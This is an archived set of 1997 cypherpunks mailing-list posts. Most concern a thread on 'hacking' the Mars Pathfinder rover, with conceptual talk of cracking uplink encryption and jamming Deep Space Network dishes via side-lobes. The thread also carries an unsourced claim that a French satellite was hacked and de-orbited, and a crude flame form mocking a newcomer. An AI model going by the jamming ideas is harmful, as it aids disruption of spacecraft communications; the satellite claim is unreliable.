Subject: Re: Mack the Harrs over (fwd) (correction)
Message-ID: <199707061446.JAA18356@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jim Choate <ravage@ssz.com>
> Subject: Re: Mack the Harrs over (fwd)
> Date: Sun, 6 Jul 1997 09:24:11 -0500 (CDT)

> Really? You try sending data over 10 light-seconds using nothing but the

                                             ^^^^^^^

                                             minutes

Sorry for the typo.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:42:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hack the Mars rover (fwd)
Message-ID: <199707061611.LAA18434@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> From: Ryan Anderson <randerso@ece.eng.wayne.edu>
> Subject: Re: Hack the Mars rover

> Somehow, I don't think that's the place to mount an attempt to take it
> over.  The prohibitive cost of getting an antenna into space where you can
> counter some of the effects of Earth's spin and keep the damn rover in
> contact all the time would be the biggest problem.

The place to attack is the up-link. This requires physical access (ie a van
with a dish and xmtr.) as well as a means to crack the encryption on the
control channels. At least one French satellite has been cracked and
de-orbited via a network attack.

> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 

The communications are not only documented but easily observable with the
correct commercialy available equipment. The frequencies are a matter of
public record, I would further bet that 5 minutes with a search engine would
bring that data to light...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@qualcomm.com>
Date: Mon, 7 Jul 1997 03:12:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <6237.868215714@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:11 CDT on Sunday, July 6, 1997, Jim Choate wrote:

|The place to attack is the up-link. This requires physical access (ie a van
|with a dish and xmtr.) as well as a means to crack the encryption on the
|control channels. At least one French satellite has been cracked and
|de-orbited via a network attack.

The encryption for US-made satellites is supplied by the NSA.  Cracking the
encryption is much easier said than done.  Is there a cite for the French
incident?

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 7 Jul 1997 04:15:09 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <v03102802afe5a9e8f723@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Forwarded message:
>
>> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
>> From: Ryan Anderson <randerso@ece.eng.wayne.edu>
>> Subject: Re: Hack the Mars rover
>
>> Somehow, I don't think that's the place to mount an attempt to take it
>> over.  The prohibitive cost of getting an antenna into space where you can
>> counter some of the effects of Earth's spin and keep the damn rover in
>> contact all the time would be the biggest problem.
>
>The place to attack is the up-link. This requires physical access (ie a van
>with a dish and xmtr.) as well as a means to crack the encryption on the
>control channels. At least one French satellite has been cracked and
>de-orbited via a network attack.
>
>> Besides, how much encryption is needed between two points if intercepting
>> the traffic is expensive, the communications protocol is undocumented (as
>> far as anyone outside NASA is concerned), and the actual frequency is also
>> hard to find?
>
>The communications are not only documented but easily observable with the
>correct commercialy available equipment. The frequencies are a matter of
>public record, I would further bet that 5 minutes with a search engine would
>bring that data to light...

The place to hack any deep-space mission is at its terminus.  Even with the
incredible receiveing equipment at each of the controlling earth stations
(e.g., Goldstone off of I395 between Barstow and Mammoth Lakes, CA) the
link margin, that is the minimum required signal/noise vs. actual for the
specified bit rate, can't be too healthy.  The antennas are huge, very
directional, parabolic dishes, but even the best have a bit of side-lobe
receiption (that's why they're located in remote areas, usualy surrounded
by hills).  One can exploit these side-lobe to jam in inbound signal.

Depending upon the transmission/modulation scheme, only a simple,
low-powered, transmitter with line-of-sight to the parabolic dish could
overwhelm the Rover signal.  Getting such a 'shot' at the antenna might be
difficult from the ground.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@wildgoose.dagny>
Date: Sun, 6 Jul 1997 19:49:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mack the Harrs over
Message-ID: <m0wkpjD-00078lC@wildgoose.dagny>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

X-Inside-Sig-To: cypherpunks@algebra.com
X-Inside-Sig-cc: Ryan Anderson <randerso@ece.eng.wayne.edu>, Lucky Green <shamrock@netcom.com>
X-Inside-Sig-Subject: Re: Mack the Harrs over
X-Inside-Sig-Date: Sun Jul  6 13:42:19 CEST 1997


> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 


Not to mention that the communication protocol is apparently 
broken and drops most of the data.  :-P 


Somebody hack in there and fix it...


Z


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sun, 6 Jul 1997 12:46:04 +0800
To: cypherpunks@toad.com
Subject: The walsh report
Message-ID: <Pine.SOL.3.91.970706142711.13496A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



To all aussie cypherpunks out there,

I was leafing through the walsh report. I dont follow it all very well. 
could someone please answer one simple question.

The Walsh Report is good for cryptography and its ilk in Australia ?? 
Yes/No ??

I got the impression it was a yes, but i could be qrong i was just 
readiong throught the conclusions

Jason 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 7 Jul 1997 05:57:44 +0800
To: cypherpunks@cyberpass.net
Subject: nsa+gchq spying operation
Message-ID: <199707062150.OAA13283@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



as I recall we have gotten early hints of this operation/book.

------- Forwarded Message

Date: Sat, 05 Jul 1997 21:37:30 -0600
To: snetnews@world.std.com, act@efn.org
From: Leander <leander@xmission.com>
Subject: SNET: "Secret Power" by Nicki Hagar


- ->  SearchNet's   SNETNEWS   Mailing List

Forwarded from alt.2600.moderated by me.

Leander
leander@xmission.com

>"Secret Power" by Nicki Hagar 
>The International Spying Networks UKUSA and ECHELON
>301pp ISBN: 0-908802-35-8 
>
>According to this remarkable book, that has somehow escaped the flames of
>book banners crying "national security," the United States NSA and the
>United Kingdom's GCHQ (Government Communications Headquarters) operate a
>global spying network called UKUSA. To listen in on conversations across the
>planet, a massive eavesdropping apparatus was built, with tentacles which
>reach into dozens of different countries beyond the shores of either the US
>or UK as well as across the skies.
>
>Describing the nature of UKUSA, its global affiliations, and operations
>represents a huge effort on the part of author Nicki Hager. He states early
>on in 'Secret Power':
>
>  "Many people are vaguely aware that a lot of spying occurs, maybe even on
>  them, but how do we judge if it is ubiquitous or not a worry at all? Is
>  someone listening every time we pick up the telephone? Are all of our
>  Internet or fax messages being pored over continuously by shadowy figures
>  somewhere in a windowless building?
>
>  "What follows explains as precisely as possible - and for the first time
>  in public - how the worldwide [spy] system works, just how immense and
>  powerful it is and what it can and cannot do.
>
>  "The global system has a highly secret codename: ECHELON."
>
>And that is the foundation of a tremendous amount of research that describes
>in detail how the vast global spying network "collects all the telephone
>calls, faxes, telexes, Internet messages and other electronic communications
>that its computers have been pre-programmed to select," and then analyzes
>the contents and distributes it to members UKUSA and ECHELON partners
>world-wide.
>
>The operational details of how the US (NSA), UK (GCHQ), Canada (CSE),
>Australia (DSD) and New Zealand (GCSB) intercepts signals, throws high power
>computing behind ECHELON 'KeyWord' dictionary attacks and what they do with
>that information is potentially alarming; especially since so much of this
>decades old practice has been kept under the wraps of security.
>
>Secret Power names the names, provides the dates and the technical details
>on the world's largest, best financed and coordinated global spying
>apparatus ever conceived. Full of pictures, maps and charts, the reader will
>get a complete picture of just how much effort and resources go into
>international security, long distance eavesdropping, and spying.
>
>>From the Cold War to today, UKUSA and ECHELON have been fascinating and
>powerful intelligence functions to spy both on enemies and friends. "Secret
>Power" provides the first peek inside the world's most secretive and
>powerful electronic spy organization.
>
>"Secret Power" reads like a thriller, except that it's true. It should be
>read by everyone with an interest in intelligence, espionage and the
>technology that modern spies use.
>
>"An astonishing number of people have told him [author Nicki Hager] things
>that I, as Prime Minister in charge of the intelligence services, was never
>told...It is an outrage that I and other ministers were told so little."
>        -David Lange, Prime Minister of New Zealand 1984-89 
>
>"...the most detailed and up to date account of the work of any signals
>intelligence agency in existence. It is a masterpiece of investigative
>reporting, and provides a wealth of information."
>        -Jeffrey T. Richelson, leading authority on United States
>intelligence agencies and author of America's Secret Eyes in the Sky, and
>co-author of 'The Ties that Bind.'
>
>------------------------------
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Moderator of alt.2600.moderated   
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>-- end of forwarded message --
>
>

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: Leander <leander@xmission.com>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Drifter0@aol.com
Date: Mon, 7 Jul 1997 04:12:38 +0800
To: cypherpunks@toad.com
Subject: can i join
Message-ID: <970706155513_847343667@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



thanx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Jul 1997 05:35:09 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 6
Message-ID: <1.5.4.32.19970706211723.006a75b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



On June 26 the court handling Jim's case extended
the time from June 30 to July 11 for the USA to file an 
indictment.

This is from an on-line docket of the case via 
Public Access to Court Electronic Records (PACER)
a subcription service for federal courts.

No indication that Jim has been released, jailed since 
his arrest on May 16. No reason given for repeated
waiver of right to a speedy trial.

The docket's at:

   http://jya.com/jimbell-dock.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 7 Jul 1997 08:41:22 +0800
To: Dave Emery <die@pig.die.com>
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <v03102803afe5e6c84462@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>	Two very imprtant points.   The space path loss to and from Mars
>is very large.  So a very large dish is required to have sufficient G/T
>to see readable data.  Most NASA deep space stations use 85 foot dishes
>and some also have 300 footers.   Without that kind of antenna gain one
>is not going to see anything at all, and without that kind of gain on
>the command uplink as well as a multi KW high power microwave amplifier
>to feed the dish one is not going to be able to put enough signal into
>Mars to do anything.
>
>	There are essentially no 85 foot or larger dishes in the hands
>of anyone who might be attempting to hack a NASA spacecraft.   Such an
>antenna is simply not your back yard satellite dish....  they cost more
>than a million dollars and are major construction projects.

You're right, its beyond imagination that any amateur would have the
resources at their disposal to override NASA's uplink (unless ther's
another Capt'n Midnight lurking at a commercial uplink station ;-).

>
>	The second point is that the NSA has been supplying space
>hardened crypto chips and related ground equipment to every US satellite
>manufacturer and operator for at least the last 15 years for use in
>protecting the command uplinks against unauthorized access.   One can be
>quite sure that NASA has used these, or if they haven't has good reason
>to believe they don't have to.
>
>	The attack that is barely conceivable is for some cracker to
>break into a NASA terrestrial communications link associated with the
>Deep Space Network (some links use satellite communications for example
>and others microwave links) and access the command uplink systems of a
>NASA DSN site.  Whether they have fully secured all of these against
>such attack is unclear.  Obviously good old secret key encryption would
>work here, and there certainly is a lot of command validation done at
>the uplink before the command is sent, so whoever was doing this would
>have to have great in-depth knowlage of the command uplink system and
>the spacecraft itself.

Rather than trying to seize control of lander just do a DOS hack by keeping
the ground stations from hearing the lander signal.  You said yourself that
the path loss to Mars is very large (maybe around 200 dB), this means that
even with those huge antennas their link margins can't be too high.

I'll assume that in order to improve the margins they're using spread
spectrum techniques, trading bandwidth for spectral efficiency.  Without
getting into the specifics of jamming technology, unless they have a very
large process gain (like the 63 dB claimed for GPS), which is very unlikely
for a number of reasons, that a properly designed transmitter located near
their downlink stations would spill into the passband of their very
senstive receivers (probably liquid-He cooled LNAs) making receiption
difficult to impossible.  Of course, such transmitters would be relatively
easy to find so only intermittent operation might be practical.
>
>	And finally, demodulating the downlinks and recovering
>information from them is relatively easily accomplished once the hard
>part  (obtaining the G/T required) is somehow handled.  NASA tends to
>use very straightforward modulations and FEC and does not encrypt the
>downlinks.   And a fair amount of detail about the data formats is
>publicly available.

If the data formats and coding techniques are public and well documented
the task is simplified many fold.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sun, 6 Jul 1997 15:57:41 +0800
To: cypherpunks@toad.com
Subject: The international PGP pgae ?
Message-ID: <Pine.SOL.3.91.970706174022.17559A@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know if the international PGP page is down for some reason. 
I cant get to it ?? 

Jason 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 7 Jul 1997 07:15:54 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Mack the Harrs over (fwd)
In-Reply-To: <199707061424.JAA18262@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.970706174503.5914C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 6 Jul 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Subject: Re: Mack the Harrs over
> > Date: Sun, 06 Jul 1997 13:43:42 +0200
> > From: Zooko Journeyman <zooko@wildgoose.dagny>
> 
> > > Besides, how much encryption is needed between two points if intercepting
> > > the traffic is expensive, the communications protocol is undocumented (as
> > > far as anyone outside NASA is concerned), and the actual frequency is also
> > > hard to find? 
> > 
> > Not to mention that the communication protocol is apparently 
> > broken and drops most of the data.  :-P 
> 
> 
> Really? You try sending data over 10 light-seconds using nothing but the
> equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
> decode the data using nothing more than spare cycles in the DSN reception
> network.
> 
> I suspect you are seriously underestimating the amount of noise betwix here
> and there...
> 

I suspect you'd need a dish the size of your house to pick up the signal.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 06:06:09 +0800
To: ravage@ssz.com
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <199707062151.RAA25276@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote :

> Forwarded message:
> 
> > Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> > From: Ryan Anderson <randerso@ece.eng.wayne.edu>
> > Subject: Re: Hack the Mars rover
> 
> 
> The place to attack is the up-link. This requires physical access (ie a van
> with a dish and xmtr.) as well as a means to crack the encryption on the
> control channels. At least one French satellite has been cracked and
> de-orbited via a network attack.
> 
> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> The communications are not only documented but easily observable with the
> correct commercialy available equipment. The frequencies are a matter of
> public record, I would further bet that 5 minutes with a search engine would
> bring that data to light...

	Two very imprtant points.   The space path loss to and from Mars
is very large.  So a very large dish is required to have sufficient G/T
to see readable data.  Most NASA deep space stations use 85 foot dishes
and some also have 300 footers.   Without that kind of antenna gain one
is not going to see anything at all, and without that kind of gain on
the command uplink as well as a multi KW high power microwave amplifier
to feed the dish one is not going to be able to put enough signal into
Mars to do anything.

	There are essentially no 85 foot or larger dishes in the hands
of anyone who might be attempting to hack a NASA spacecraft.   Such an
antenna is simply not your back yard satellite dish....  they cost more
than a million dollars and are major construction projects.

	The second point is that the NSA has been supplying space
hardened crypto chips and related ground equipment to every US satellite
manufacturer and operator for at least the last 15 years for use in
protecting the command uplinks against unauthorized access.   One can be
quite sure that NASA has used these, or if they haven't has good reason
to believe they don't have to.

	The attack that is barely conceivable is for some cracker to
break into a NASA terrestrial communications link associated with the
Deep Space Network (some links use satellite communications for example
and others microwave links) and access the command uplink systems of a
NASA DSN site.  Whether they have fully secured all of these against
such attack is unclear.  Obviously good old secret key encryption would
work here, and there certainly is a lot of command validation done at
the uplink before the command is sent, so whoever was doing this would
have to have great in-depth knowlage of the command uplink system and
the spacecraft itself.

	And finally, demodulating the downlinks and recovering
information from them is relatively easily accomplished once the hard
part  (obtaining the G/T required) is somehow handled.  NASA tends to
use very straightforward modulations and FEC and does not encrypt the
downlinks.   And a fair amount of detail about the data formats is
publicly available.

							Dave Emery
							die@die.com
							Weston, Mass.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 6 Jul 1997 20:11:02 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: <Pine.SUN.3.96.970703114626.23332B-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970706175420.473G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ray Arachelian wrote:

> On Thu, 3 Jul 1997, Robert Hettinga wrote:

[...]

> >      anonymous and pseudonymous communications are desirable, permissible,
> >      or undesirable, and a set of guidelines for the use of anonymous and
> 	^^^^^^^^^^^^^^^
> 
> Sounds like an attempt at furthering legislation to curtail our freedoms.
> I say stay the hell away from this.  It smells of evil TLA's.

OTOH if no-one is perpeard to speak up in such formums to defend our
freedom then it will be all the more easy for them to legistrate.  "We did
this study and no-one gave us a good reson for the remailers to
exist. Therefor we should have all the remailers such down and there
owners shot."

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 6 Jul 1997 20:37:14 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
Message-ID: <Pine.LNX.3.93.970706181647.473J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.

[...]

> Well, with current technology, it's not too difficult to forge DNS
> entries,

It means that the spammers will have to go to this effort,  in addtion
forgeing DNS like this has a neggitive infulence on the performence of
most of the 'net.  I beleave thay wouldn't try this in much the same way
spammers rearly forge there way into moderatored newsgroups.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Mon, 7 Jul 1997 10:52:37 +0800
To: Drifter0@aol.com
Subject: Re: can i join
In-Reply-To: <970706155513_847343667@emout10.mail.aol.com>
Message-ID: <33C0645F.C0C2ED32@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Drifter0@aol.com wrote:

> thanx

   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
proper procedures.

Time for the flame-form.
-----------------------------
Dear:
  [X] Clueless Newbie        [X] Lamer         [  ] Flamer
  [  ] "Me too" er            [  ] Pervert       [X] Geek
  [  ] Spammer                [  ] Racist        [  ] Fed
  [X] Stereotypical AOLer    [  ] Freak         [  ] Troller
  [  ] Fundamentalist         [  ] Satanist      [  ] Scientologist

 You Are Being Flamed Because:
  [  ] You posted what should have been emailed
  [  ] You obviously don't know how to read your newsgroups line
  [  ] You are trying to make money on a non-commercial newsgroup
  [  ] You self-rightously impose your religious beliefs on others
  [  ] You posted something asking for warez sites
  [  ] You quoted an ENTIRE post in your reply
  [  ] You started a long, stupid thread
  [  ] You continued spreading a long stupid thread
  [  ] Your post is absurdly off topic for where you posted it
  [  ] You posted a followup to crossposted robot-generated spam
  [  ] You posted a "test" in a discussion group rather than in alt.test

  [  ] You posted a "YOU ALL SUCK" message
  [X] You posted low-IQ flamebait
  [  ] You posted a blatently obvious troll
  [  ] You posted a listserver command
  [  ] You followed up to a blatently obvious troll
  [  ] You posted pretending to be someone famous
  [  ] You said "me too" to something
  [  ] You make no sense
  [  ] Your sig/alias/server is dreadful
  [  ] You posted a phone-sex ad
  [  ] You posted a stupid pyramid money making scheme
  [  ] You claimed a pyramid-scheme/chain letter for money was legal
  [  ] Your margin settings (or lack of) make your post unreadable
  [  ] You posted in ElItE CaPiTaLs to look K3WL
  [  ] You posted SCREAMING in RANDOM CAPS for NO APPARENT REASON
  [X] You didn't do anything specific, but appear to be so generally
       worthless that you are being flamed anyway

 To Repent, You Must:

  [  ] Refrain from posting until you have a vague idea what
you're        doing
  [X] Stop masturbating for a week
  [X] Be Senator Exon's love slave
  [  ] Read every newsgroup you posted to for a week
  [X] Give up your AOL account
  [X] Bust up your modem with a hammer and eat it
  [  ] Tell your Mommy to up your medication
  [X] Jump into a bathtub while holding your monitor
  [  ] Actually post something relevant
  [X] Make a homepage shrine for the goddess Hello Kitty
  [X] Read the FAQ
  [  ] Post to alt.test
  [  ] Print your home phone number in your ads
  [X] Be the guest of honor in alt.flame for a month


 In Closing, I'd Like to Say:

  [X] Get a clue
  [X] Get a life
  [X] Go away
  [  ] Age 10 more years before you post again
  [X] Never post again
  [X] I pity your dog
  [  ] You need to seek psychiatric help
  [  ] Morons like you give ammo to pro-censorship geeks
  [X] Yer momma's so fat/stupid/ugly that etc...
  [X] Take your gibberish somewhere else
  [X] Learn how to post or get off the usenet and listserv
  [  ] All of the above





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 11:24:52 +0800
To: azur@netcom.com (Steve Schear)
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <v03102803afe5e6c84462@[10.0.2.15]>
Message-ID: <199707070257.WAA26483@pig.die.com>
MIME-Version: 1.0
Content-Type: text




Steve Schear wrote :

> You're right, its beyond imagination that any amateur would have the
> resources at their disposal to override NASA's uplink (unless ther's
> another Capt'n Midnight lurking at a commercial uplink station ;-).

	Different frequency bands.  And much less power for a commercial
uplink to illuminate a geo satellite with significant antenna gain
toward it's footprint.   Commercial uplinks are usually in the 20 to
500 watt power class going into the feed, whereas the DSN has 5 and
10 kw capability into much larger dishes (30 meter versus 6 to 9 meter).

> 
> Rather than trying to seize control of lander just do a DOS hack by keeping
> the ground stations from hearing the lander signal.  You said yourself that
> the path loss to Mars is very large (maybe around 200 dB), this means that
> even with those huge antennas their link margins can't be too high.

	Greater than 200 db.  But indeed one could certainly come up
with enough rf power from some point on the ground in line of sight to a
DSN dish to  completely overwhelm the signal from the bird.   

	However, such a signal would be instantly spotted and identified
and probably DF'd fairly rapidly.  It would be unlikely one could knock
out the downlink for very long without being located (and vigorously
prosecuted).

	But most of the time Mars is visible from more than one DSN
earth station and given the high priority of the mission the most
likely thing would just be to switch stations to one a third of
the way around the globe or more.   Would obviously be a nuisance
and get some people very mad, but since the ground stations fail
from natural causes from time to time such a handover would be
fairly routine.

> 
> I'll assume that in order to improve the margins they're using spread
> spectrum techniques, trading bandwidth for spectral efficiency.

	Spectral efficiency is usually bits/hertz of bandwidth.  They do
use QPSK or BPSK (mostly QPSK) which is about as power efficient - 
using FEC, vitirbi soft decision detection  and non differential coding
- as any possible modulation would be irrespective of bandwidth.
That is to say for a given data rate and carrier power to noise temp
ratio there is no modulation that would yield a better BER irrespective
of bandwith used.


  Without
> getting into the specifics of jamming technology, unless they have a very
> large process gain (like the 63 dB claimed for GPS)

	Process gain is a measure of the ratio of the spreading sequence
bit rate to the underlying data bit rate for a direct sequence spread
spectrum signal. There is very little to be gained by using spread
signals rather than  non spread signals in this application except
perhaps very accurate ranging information. They do not make sending k
bits per second with BER less than e bits second any easier.   There has
been some use of spreading sequences for ranging in the DSN, but I do
not know whether the pathfinder mission used that mode.

	Obviously a spread signal would require lots more power to 
jam with noise or cw carriers, but even assuming side lobes -80db down
from the main lobe (really hard to do) a jammer working from nearby would
not need to be putting out a lot of power to overload the receiver
and correllators.

, which is very unlikely
> for a number of reasons, that a properly designed transmitter located near
> their downlink stations would spill into the passband of their very
> senstive receivers (probably liquid-He cooled LNAs) making receiption
> difficult to impossible.  Of course, such transmitters would be relatively
> easy to find so only intermittent operation might be practical.
> >
	And would be spotted almost instantly on spectrum analyzers and
other monitors.


> >	And finally, demodulating the downlinks and recovering
> >information from them is relatively easily accomplished once the hard
> >part  (obtaining the G/T required) is somehow handled.  NASA tends to
> >use very straightforward modulations and FEC and does not encrypt the
> >downlinks.   And a fair amount of detail about the data formats is
> >publicly available.
> 
> If the data formats and coding techniques are public and well documented
> the task is simplified many fold.
> 
	Yes it is, although making educated guesses and going from there
is certainly possible.

							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 7 Jul 1997 15:33:45 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <v03102800afe64978274e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:59 PM -0700 7/2/97, Mac Norton wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>>
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>


Let it be known I did not write any of the material above attributed to me.

(I'm just catching up on some of the accumulated e-mail of the past several
days, and am looking at random messages that catch my interest. Perhaps I
am missing some context, but I am quoted in the "Tim May wrote:" line, and
yet none of that quoted section includes anything I wrote.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
